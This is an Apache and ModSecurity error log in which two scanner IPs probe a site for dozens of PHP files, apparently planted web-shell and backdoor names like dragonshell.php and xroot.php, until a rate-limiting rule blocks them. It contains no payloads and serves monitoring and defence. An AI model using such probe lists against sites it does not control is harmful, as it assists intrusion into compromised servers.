[Fri Apr 24 21:19:19.700307 2026] [:error] [pid 4177:tid 4190] [client 4.235.74.173:64187] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Fri Apr 24 21:19:19.978613 2026] [:error] [pid 4177:tid 4204] [client 4.235.74.173:64187] File does not exist: /usr/local/apache/htdocs/suspended-page/prosellers8.php
[Fri Apr 24 21:19:20.261119 2026] [:error] [pid 4177:tid 4195] [client 4.235.74.173:64187] File does not exist: /usr/local/apache/htdocs/suspended-page/shop.php
[Fri Apr 24 21:19:20.530879 2026] [:error] [pid 4177:tid 4194] [client 4.235.74.173:64187] File does not exist: /usr/local/apache/htdocs/suspended-page/ww.php
[Fri Apr 24 21:19:20.811032 2026] [:error] [pid 4177:tid 4187] [client 4.235.74.173:64187] File does not exist: /usr/local/apache/htdocs/suspended-page/fsjzs.php
[Fri Apr 24 21:19:21.074226 2026] [:error] [pid 4177:tid 4191] [client 4.235.74.173:64187] File does not exist: /usr/local/apache/htdocs/suspended-page/cwclass.php
[Fri Apr 24 21:19:21.335277 2026] [:error] [pid 4177:tid 4198] [client 4.235.74.173:64187] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aett2X2asKnvdrSe0x4iuwAAAY0"]
[Fri Apr 24 21:19:28.202824 2026] [:error] [pid 22114:tid 22139] [client 4.235.74.173:46686] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aett4IAuWGz3WlMQjofxsgAAARY"]
[Fri Apr 24 21:19:32.259090 2026] [:error] [pid 4177:tid 4204] [client 4.235.74.173:18711] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aett5H2asKnvdrSe0x4i2QAAAZM"]
[Fri Apr 24 21:19:35.103175 2026] [:error] [pid 4177:tid 4209] [client 4.235.74.173:15570] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aett532asKnvdrSe0x4i3QAAAZg"]
[Fri Apr 24 21:19:36.894390 2026] [:error] [pid 17721:tid 17785] [client 4.235.74.173:16147] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atomlib.php"] [unique_id "aett6OFXXkLeyDnfk_9DFAAAAAQ"]
[Fri Apr 24 21:19:41.842723 2026] [:error] [pid 22114:tid 22122] [client 4.235.74.173:23620] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atomlib.php"] [unique_id "aett7YAuWGz3WlMQjofxvgAAAQU"]
[Fri Apr 24 21:19:45.225361 2026] [:error] [pid 4177:tid 4189] [client 4.235.74.173:44555] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atomlib.php"] [unique_id "aett8X2asKnvdrSe0x4i-gAAAYQ"]
[Fri Apr 24 21:19:49.343346 2026] [:error] [pid 17808:tid 17824] [client 4.235.74.173:50880] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atomlib.php"] [unique_id "aett9earbOEFI8qshvJCXAAAAE4"]
[Fri Apr 24 21:19:51.718826 2026] [:error] [pid 4177:tid 4208] [client 4.235.74.173:24836] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aett932asKnvdrSe0x4jDQAAAZc"]
[Fri Apr 24 21:19:52.726719 2026] [:error] [pid 4177:tid 4189] [client 4.235.74.173:64121] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aett-H2asKnvdrSe0x4jFQAAAYQ"]
[Fri Apr 24 21:19:54.387432 2026] [:error] [pid 4177:tid 4204] [client 4.235.74.173:17249] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aett-n2asKnvdrSe0x4jIgAAAZM"]
[Fri Apr 24 21:19:59.970972 2026] [:error] [pid 4177:tid 4194] [client 4.235.74.173:24840] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "aett_32asKnvdrSe0x4jNgAAAYk"]
[Fri Apr 24 21:20:03.631808 2026] [:error] [pid 17808:tid 17831] [client 4.235.74.173:54513] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aetuA-arbOEFI8qshvJCaAAAAFU"]
[Fri Apr 24 21:20:06.633008 2026] [:error] [pid 14531:tid 14555] [client 4.235.74.173:54434] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aetuBnfLU2gw-6KR-GbRCwAAAVY"]
[Fri Apr 24 21:20:07.983333 2026] [:error] [pid 17808:tid 17816] [client 4.235.74.173:56810] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aetuB-arbOEFI8qshvJCawAAAEY"]
[Fri Apr 24 21:20:10.927875 2026] [:error] [pid 14531:tid 14548] [client 4.235.74.173:43270] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aetuCnfLU2gw-6KR-GbRDwAAAU8"]
[Fri Apr 24 21:20:11.894696 2026] [:error] [pid 4177:tid 4203] [client 4.235.74.173:49640] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ai.php"] [unique_id "aetuC32asKnvdrSe0x4jZgAAAZI"]
[Fri Apr 24 21:20:17.197185 2026] [:error] [pid 17721:tid 17803] [client 4.235.74.173:24949] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ai.php"] [unique_id "aetuEeFXXkLeyDnfk_9DSQAAABY"]
[Fri Apr 24 21:20:21.701685 2026] [:error] [pid 14531:tid 14552] [client 4.235.74.173:41778] File does not exist: /usr/local/apache/htdocs/suspended-page/ai.php
[Fri Apr 24 21:20:21.967373 2026] [:error] [pid 14531:tid 14551] [client 4.235.74.173:41778] File does not exist: /usr/local/apache/htdocs/suspended-page/jga.php
[Fri Apr 24 21:20:22.230095 2026] [:error] [pid 14531:tid 14553] [client 4.235.74.173:41778] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Fri Apr 24 21:20:22.491114 2026] [:error] [pid 14531:tid 14537] [client 4.235.74.173:41778] File does not exist: /usr/local/apache/htdocs/suspended-page/gk.php
[Fri Apr 24 21:20:22.754142 2026] [:error] [pid 14531:tid 14536] [client 4.235.74.173:41778] File does not exist: /usr/local/apache/htdocs/suspended-page/xmu.php
[Fri Apr 24 21:20:23.016553 2026] [:error] [pid 14531:tid 14538] [client 4.235.74.173:41778] File does not exist: /usr/local/apache/htdocs/suspended-page/sd.php
[Fri Apr 24 21:52:13.638095 2026] [:error] [pid 22114:tid 22124] [client 4.235.80.198:37116] File does not exist: /usr/local/apache/htdocs/suspended-page/BDKR28WP.php
[Fri Apr 24 21:52:13.927764 2026] [:error] [pid 22114:tid 22135] [client 4.235.80.198:37116] File does not exist: /usr/local/apache/htdocs/suspended-page/card.php
[Fri Apr 24 21:52:14.235509 2026] [:error] [pid 22114:tid 22123] [client 4.235.80.198:37116] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Fri Apr 24 21:52:14.552016 2026] [:error] [pid 22114:tid 22130] [client 4.235.80.198:37116] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-lacoto.php
[Fri Apr 24 21:52:14.814974 2026] [:error] [pid 22114:tid 22120] [client 4.235.80.198:37116] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-kikikoko.php
[Fri Apr 24 21:52:15.079453 2026] [:error] [pid 22114:tid 22118] [client 4.235.80.198:37116] File does not exist: /usr/local/apache/htdocs/suspended-page/ganja.php
[Fri Apr 24 21:52:15.389020 2026] [:error] [pid 22114:tid 22140] [client 4.235.80.198:37116] File does not exist: /usr/local/apache/htdocs/suspended-page/eetu.php
[Fri Apr 24 21:52:15.732689 2026] [:error] [pid 22114:tid 22139] [client 4.235.80.198:37116] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-X1s2e6h3p7.php
[Fri Apr 24 21:52:16.112526 2026] [:error] [pid 22114:tid 22122] [client 4.235.80.198:37116] File does not exist: /usr/local/apache/htdocs/suspended-page/dragonshell.php
[Fri Apr 24 21:52:16.519794 2026] [:error] [pid 22114:tid 22134] [client 4.235.80.198:37116] File does not exist: /usr/local/apache/htdocs/suspended-page/samll.php
[Fri Apr 24 21:52:16.888225 2026] [:error] [pid 22114:tid 22132] [client 4.235.80.198:37116] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "aet1kIAuWGz3WlMQjof3rgAAAQ8"]
[Fri Apr 24 21:52:17.935679 2026] [:error] [pid 17720:tid 17755] [client 4.235.80.198:49637] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "aet1kehlUs6BS3Ng7_W_XQAAAME"]
[Fri Apr 24 21:52:18.789597 2026] [:error] [pid 4177:tid 4194] [client 4.235.80.198:23396] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "aet1kn2asKnvdrSe0x43owAAAYk"]
[Fri Apr 24 21:52:20.523477 2026] [:error] [pid 17721:tid 17781] [client 4.235.80.198:28939] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "aet1lOFXXkLeyDnfk_9KagAAAAA"]
[Fri Apr 24 21:52:22.014029 2026] [:error] [pid 17808:tid 17816] [client 4.235.80.198:58694] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "aet1luarbOEFI8qshvJNAQAAAEY"]
[Fri Apr 24 21:52:22.903196 2026] [:error] [pid 4177:tid 4185] [client 4.235.80.198:32937] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "aet1ln2asKnvdrSe0x43pgAAAYA"]
[Fri Apr 24 21:52:23.846352 2026] [:error] [pid 4177:tid 4194] [client 4.235.80.198:30017] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "aet1l32asKnvdrSe0x43qwAAAYk"]
[Fri Apr 24 21:52:24.961007 2026] [:error] [pid 4177:tid 4189] [client 4.235.80.198:43708] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "aet1mH2asKnvdrSe0x43tgAAAYQ"]
[Fri Apr 24 21:52:26.771988 2026] [:error] [pid 4177:tid 4196] [client 4.235.80.198:57350] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "aet1mn2asKnvdrSe0x43xgAAAYs"]
[Fri Apr 24 21:52:28.580354 2026] [:error] [pid 14531:tid 14540] [client 4.235.80.198:32928] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "aet1nHfLU2gw-6KR-GbZewAAAUc"]
[Fri Apr 24 21:52:31.326306 2026] [:error] [pid 4177:tid 4192] [client 4.235.80.198:58278] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "aet1n32asKnvdrSe0x433QAAAYc"]
[Fri Apr 24 21:52:34.040600 2026] [:error] [pid 4177:tid 4206] [client 4.235.80.198:58787] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "aet1on2asKnvdrSe0x436AAAAZU"]
[Fri Apr 24 21:52:35.324059 2026] [:error] [pid 14531:tid 14547] [client 4.235.80.198:23403] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xroot.php"] [unique_id "aet1o3fLU2gw-6KR-GbZiAAAAU4"]
[Fri Apr 24 21:52:36.922009 2026] [:error] [pid 17721:tid 17784] [client 4.235.80.198:23413] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xroot.php"] [unique_id "aet1pOFXXkLeyDnfk_9KcQAAAAM"]
[Fri Apr 24 21:52:37.941053 2026] [:error] [pid 22114:tid 22127] [client 4.235.80.198:58248] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xroot.php"] [unique_id "aet1pYAuWGz3WlMQjof3wAAAAQo"]
[Fri Apr 24 21:52:39.750308 2026] [:error] [pid 17808:tid 17833] [client 4.235.80.198:17204] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xroot.php"] [unique_id "aet1p-arbOEFI8qshvJNDgAAAFc"]
[Fri Apr 24 21:52:40.646445 2026] [:error] [pid 4177:tid 4187] [client 4.235.80.198:17159] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aet1qH2asKnvdrSe0x44AAAAAYI"]
[Fri Apr 24 21:52:42.174275 2026] [:error] [pid 17808:tid 17812] [client 4.235.80.198:1989] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aet1quarbOEFI8qshvJNEQAAAEI"]
[Fri Apr 24 21:52:45.507593 2026] [:error] [pid 17720:tid 17777] [client 4.235.80.198:30053] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aet1rehlUs6BS3Ng7_W_cQAAANc"]
[Fri Apr 24 21:52:46.690627 2026] [:error] [pid 17808:tid 17826] [client 4.235.80.198:27831] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aet1ruarbOEFI8qshvJNFAAAAFA"]
[Fri Apr 24 21:52:48.388116 2026] [:error] [pid 17721:tid 17783] [client 4.235.80.198:47706] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uwu.php"] [unique_id "aet1sOFXXkLeyDnfk_9KfQAAAAI"]
[Fri Apr 24 21:52:50.831308 2026] [:error] [pid 22114:tid 22132] [client 4.235.80.198:2032] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uwu.php"] [unique_id "aet1soAuWGz3WlMQjof3xwAAAQ8"]
[Fri Apr 24 21:52:51.915672 2026] [:error] [pid 4177:tid 4198] [client 4.235.80.198:17169] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uwu.php"] [unique_id "aet1s32asKnvdrSe0x44EAAAAY0"]
[Fri Apr 24 21:52:53.688479 2026] [:error] [pid 14531:tid 14553] [client 4.235.80.198:49606] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uwu.php"] [unique_id "aet1tXfLU2gw-6KR-GbZvQAAAVQ"]
[Fri Apr 24 21:52:55.581835 2026] [:error] [pid 17720:tid 17775] [client 4.235.80.198:28949] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aet1t-hlUs6BS3Ng7_W_fwAAANU"]
[Fri Apr 24 21:52:58.417204 2026] [:error] [pid 22114:tid 22119] [client 4.235.80.198:17156] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aet1uoAuWGz3WlMQjof31AAAAQI"]
[Fri Apr 24 21:53:00.266636 2026] [:error] [pid 17719:tid 17742] [client 4.235.80.198:27327] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aet1vMTZ9gzEyL1BkPq3pQAAAI8"]
[Fri Apr 24 21:53:03.576652 2026] [:error] [pid 17721:tid 17791] [client 4.235.80.198:30526] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aet1v-FXXkLeyDnfk_9KhQAAAAo"]
[Fri Apr 24 21:53:04.403295 2026] [:error] [pid 14531:tid 14537] [client 4.235.80.198:17641] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aet1wHfLU2gw-6KR-GbZyAAAAUQ"]
[Fri Apr 24 21:53:07.425406 2026] [:error] [pid 17720:tid 17769] [client 4.235.80.198:41248] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aet1w-hlUs6BS3Ng7_W_lAAAAM8"]
[Fri Apr 24 21:53:09.845858 2026] [:error] [pid 4177:tid 4185] [client 4.235.80.198:59505] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aet1xX2asKnvdrSe0x44LQAAAYA"]
